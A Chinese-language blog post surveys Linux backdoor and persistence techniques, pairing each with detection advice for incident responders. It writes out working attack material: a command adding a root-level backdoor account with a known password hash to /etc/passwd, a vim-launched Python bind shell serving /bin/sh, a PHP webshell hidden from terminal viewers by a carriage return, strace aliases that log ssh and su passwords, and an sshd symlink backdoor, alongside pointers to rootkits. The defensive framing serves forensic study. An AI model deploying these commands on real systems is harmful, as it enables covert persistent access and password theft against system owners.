linux常见backdoor及排查技术

1
2
3
4
5
原文已发布至先知平台
linux常见backdoor及排查技术
https://xz.aliyun.com/t/4090
windows常见backdoor、权限维持方法及排查技术
https://xz.aliyun.com/t/4842

TL;DR

  • 最近遇到一些和后门相关的技术,所以就把之前的linux backdoor相关笔记重新整理和学习了一下。在这里做一下记录,后续有时间整理一下windows backdoor方面的技术。
  • 在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查。下面就一些常见技巧以及公开的工具进行剖析介绍。
  • 现在有一些公司在发现入侵之后直接重装系统,那么基本所有的后门就无法发挥权限维持的作用了,但作为一个安全从业人员还是需要对一些后门有一个基本的了解。

    常见技巧

    添加root权限后门用户

  • /etc/passwd这个文件包含了系统所有的用户名、ID、登录的shell等信息,这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户id为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。
  • 关于密码加密我们可以使用下面的命令

    1
    2
    3
    #密码M0rk
    xxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). "\n"'
    AAhmo1jgYI0HE
  • 所以我们最终想要在passwd文件中的条目是这个样子的

    1
    backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
  • append the backdoor to passwd file

    1
    echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd

  • 注意当我们拥有一个命令执行漏洞或写文件漏洞且为root权限,这个时候就可以通过这种方法直接添加用户。
  • 优点:简单
  • 缺点:易被检测到
  • 排查:检查/etc/passwd文件是否有异常

    nologin后门

  • 目前在其它的文章中还没有看到过,自己想出来的,就是将nologin程序替换为bash,很多时候应急人员查看passwd,发现账户对应的shell为nologin认为就是系统的账号且这个账号是不能远程登陆的或者是登陆之后没有shell的,可能就认为这个账号是安全的,所以我们就可以将nologin设置成bash,并且修改这个账号的密码,如系统自带的backup账号就是一个很好用账户


  • 优点:简单
  • 缺点:暂无
  • 排查:检查nologin是否被替换

    认证公钥后门

  • 打过redis未授权漏洞的应该都知道里面有一种利用方式就是向服务器authoriezd_keys文件里面写入自己电脑的公钥,这个时候就可以实现免密码登陆。
  • 优点:简单
  • 缺点:不太隐蔽
  • 排查:检查每个用户根目录下面authorized_keys文件是否添加了异常了的公钥。

    vim后门

    1
    2
    #enter the mal script directory 、execute the script and then remove the script
    cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
  • 此方法适用于安装了vim且安装了python扩展(绝大部分默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如使用python监听9999端口。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
    from socket import *
    import subprocess
    import os, threading, sys, time

    if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',11))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
    stdout=talk, stderr=talk, shell=True)

  • 优点:通过查看/proc/pid/cmdline查看不到具体执行了什么命令或恶意脚本。
  • 缺点:仍可以看到有vim进程
  • 排查:检测对应vim进程号虚拟目录的map文件是否有python字眼。
  • 参考文章Weapons of Text Destruction.

    python内存端口监听

    参考epinna’s hacked up in-memory Python bindshell.
  • 注意在原脚本基础上可以加上os.setuid(0),并给python加上suid可以得到root权限的shell ref,此外如果有web服务器,可以在需要的时候才开启端口监听防止端口一直监听被发现,比较stealthy,可参考HTTP backdoor using POSIX file capabilities and PHP

    终端解析\r导致的问题

    1
    echo -e "<?=\`\$_POST[good]\`?>\r<?='PHP Test Page >||<                  ';?>" >/var/www/html/test.php


  • 优点:通过终端命令例如cat、more等命令查看不到恶意代码,适合隐藏一句话木马。
  • 缺点:易被检测,只是通过终端命令查看的时候看不到恶意代码,而通过其它读文件操作或者通过vim编辑的时候仍可以查看恶意代码。
  • 排查:使用编辑器或者一般的webshell扫描工具即可检测。

    一些命令导致截断的问题

  • 在使用ps进行进程查看的时候,不知道很多人会不会遇到这种问题,命令很长被截断的问题,终端显示可能美观,会截断较长的命令,比如在使用docker ps -a查看container的时候,可能你的command列会显示不全,那么使用docker ps -a –no-trunc让其显示完全。同样在使用ps命令查看进程的时候,也存在这种问题。可以在其填充大量的空格进行截断,那么就可达到“进程隐藏”的效果。
  • 其中使用了xhide工具进行进程名的修改。
  • 优点:简单
  • 缺点:易被检测到
  • 排查:通过ps -aux|grep 可疑进程的pid 即可显示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令进行查看。

    strace记录ssh登录密码

    1
    2
    3
    4
    ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
    -e read,write,connect -s2048 ssh'
    也可记录 su密码 su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \
    -e read,write,connect -s2048 su'

  • 优点:改动较小
  • 缺点:易被检测到
  • 排查:通过排查shell的配置文件或者alias命令即可发现,例如~/.bashrc和~/.bash_profile文件查看是否有恶意的alias问题。(注意bash_profile是在登录shell执行的,bashrc是在非登录shell执行,即如果你只是想每次在登录的时候让它去执行,这个时候你可以把你的命令写在.bash_profile,如果你想每次打开一个新的终端的时候都去执行,那么应该把命令写在.bashrc中)

    ssh连接监控

  • 这个后门可以用来监控连接到服务器上的客户端所进行的所有操作,也可进行记录和重放,但是需要当前有用户通过ssh登录
    详细见SSHPry2
  • 优点:简单且类似录屏清晰记录操作过程
  • 缺点:没有做进程隐藏,如果能够结合一些进程隐藏的技巧将会很好用。
  • 排查:主要是进程排查

    常见sshd后门

  • 一种是建立sshd的软连接方法,开启其它的端口例如

    1
    2
    ln -sf /usr/sbin/sshd /home/su
    /home/su -oport=2222
  • 优点:简单

  • 缺点:易被检测到
  • 排查:使用netstat -antlp查看可疑端口,然后ls -l 可执行文件即可。
  • 另外一种就是通过在openssh源码中插入恶意代码重新编译并替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。
  • 优点:隐蔽性较好
  • 缺点:暂无
  • 排查:这种sshd后门一般可能会有一定的特征,可以通过strings sshd |egrep ‘\d{1,3}.\d{1,3}.‘或者通过strace 查看是否有可疑的写文件操作。
  • 此外还有一种给openssh打补丁的方式添加ssh后门的方法,具体见利用Openssh后门 劫持root密码

    定时任务和开机启动项

  • 一般的挖矿木马喜欢设置定时任务来进行驻留或者进行分时段的挖矿。
  • 排查:一般通过crontab -l命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同,Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。

    预加载型动态链接库后门 ld.so.preload

  • 可能有些人不太了解,简单说一下,就是我们在linux下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生Hijack。
  • 如上图所示,strace 命令id的时候可以发现有预先去读取/etc/ld.so.preload文件(也可使用设置LD_PRELAOD环境变量方式),如果我们将我们事先写好的恶意so文件位置写入ld.so.preload文件,这时就会达到劫持的效果。
  • 比较好用的工具是Vegile和cub3
    Vegile
    cub3,这个工具使用了LD_PRELOAD和系统的扩展属性去隐藏文件。
  • 更多参考:
    Linux文件系统扩展属性
  • 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是Vlany,github地址https://github.com/mempodippy/vlany
    警惕利用Linux预加载型恶意动态链接库的后门
  • 优点:可以隐藏文件、网络、进程等。相对于普通用户空间rootkit而言,隐藏性较好,相对于内核模块rootkit来说,兼容性更好,编写难道低
  • 缺点:暂无
  • 排查:通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。注意:在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持(例如通过预加载型动态链接库后门),导致系统命令执行不正常,这个时候可以下载busybox。下载编译好的对应平台版本的busybox,或者下载源码进行编译通过U盘拷贝到系统上,因为busybox是静态编译的,不依赖于系统的动态链接库,busybox的使用类似如下 busybox ls,busybox ps -a。

    进程注入

  • 使用ptrace向进程中注入恶意so文件工具linux-inject,github地址

  • 优点:隐藏性好
  • 缺点:编写难度高,可能会有兼容性、被注入进程down掉等问题
  • 排查:很难

    内核级rootkit

  • 内核级的rootkit也很多,这里简单推荐一个Diamorphine

    github地址
  • 优点:隐藏性较好
  • 缺点:编写难度有点儿高
  • 排查:可以通过unhide等工具进行排查
  • 此外还有Reptile工具
  • awesome-linux-rootkits

    软件后门

  • 除了系统后门,还有针对一些常用软件的后门,比如apache服务器后门
  • A Backdoor For Apache HTTP Server Written in C
  • 从零开始打造一款简单的apache module后门
  • apache2_BackdoorMod

    Other

  • 以上介绍了几种backdoor的技巧,只是抛砖引玉,希望有更多人分享你的linux backdoor技巧、Write your own backdoor and MAKE BACKDOOR GREAT AGAIN : )

    Reference

    ATT&CK Persistence
    Techniques for building a hidden backdoor
    linux rootkits
    https://github.com/mfontanini/Programs-Scripts/
    Reptile
    icmpsh
    Diamorphine
    HiddenWall